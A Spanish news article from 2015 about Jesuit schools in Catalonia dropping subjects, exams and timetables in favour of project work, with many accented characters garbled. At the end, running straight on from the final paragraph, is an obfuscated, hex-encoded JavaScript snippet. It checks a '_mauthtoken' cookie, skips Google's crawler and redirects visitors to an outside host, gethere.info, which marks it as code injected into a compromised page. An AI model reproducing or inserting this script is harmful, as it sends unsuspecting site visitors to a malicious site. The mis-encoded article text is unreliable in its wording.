Noticias

12 Mar 2015
Noticias | Por: Redacción

Estudiar ya no es aburrido, sino todo lo contrario

En EspaAi??a han diseAi??ado un nuevo modelo pedagA?gico en el que las clases magistrales, los pupitres, los deberes y las aulas tradicionales han quedado en el recuerdo.

Fuente: 20minutos.es

Los colegios jesuitas de CataluAi??a, en los que estudian mA?s de 13 mil alumnos, han comenzado a implementar un nuevo modelo de enseAi??anza que ha eliminado asignaturas, exA?menes y horarios. AsAi??, han transformado las aulas en espacios de trabajo donde los niAi??os adquieren los conocimientos haciendo proyectos conjuntos.

Los jesuitas han diseAi??ado un nuevo modelo pedagA?gico en el que las clases magistrales, los pupitres, los deberes y las aulas tradicionales han quedado en el recuerdo. Este proyecto ha comenzado a funcionar en la bA?sica, en especAi??fico en quinto y sexto grado, y que se irA? ampliando al resto de grados. “Con el actual modelo de enseAi??anza tradicional, los alumnos se estA?n aburriendo y se estA?n desconectando del sistema, sobre todo a partir de sexto grado”, asegurA? Xavier Aragay, director general de la FundaciA?n Jesuitas EducaciA?n (FJE) de CataluAi??a.

Para llevar a cabo el proyecto, que lleva por nombre “Horizonte 2020”, los jesuitas han derribado las paredes de sus aulas y las han transformado en grandes espacios para trabajar en equipo, en los que hay sofA?s, gradas, mucha luz, colores, mesas dispuestas para trabajar en grupo y acceso a las nuevas tecnologAi??as.

En los tres colegios que estA?n experimentando esta novedad han juntado las dos clases de 30 alumnos en una sola de 60, pero en vez de un profesor por cada 30, tienen tres profesores para 60, quienes acompaAi??an todo el dAi??a a los alumnos y tutorizan los proyectos en los que trabajan, a travAi??s de los cuales adquieren las competencias bA?sicas marcadas en la currAi??cula escolar. “No hay asignaturas, ni horarios, al patio se sale cuando los alumnos deciden que estA?n cansados”, explicA? Aragay.

Los alumnos comienzan la jornada con 20 minutos de introspecciA?n y reflexiA?n para plantearse los retos de la jornada y finalizan con otros 20 minutos de discusiA?n sobre si han conseguido los objetivos.

Las asignaturas han sido sustituidas por proyectos. “Por ejemplo, si hacemos un proyecto sobre el imperio romano aprendemos arte, historia, latAi??n, religiA?n y geografAi??a; si hay que aprender raAi??ces cuadradas para llevar a cabo otro proyecto, los alumnos pueden acudir a las unidades didA?cticas. Aprenden mucho mejor si ven que lo que aprenden tiene una aplicaciA?n prA?ctica”, han acentuado los propulsores del proyecto.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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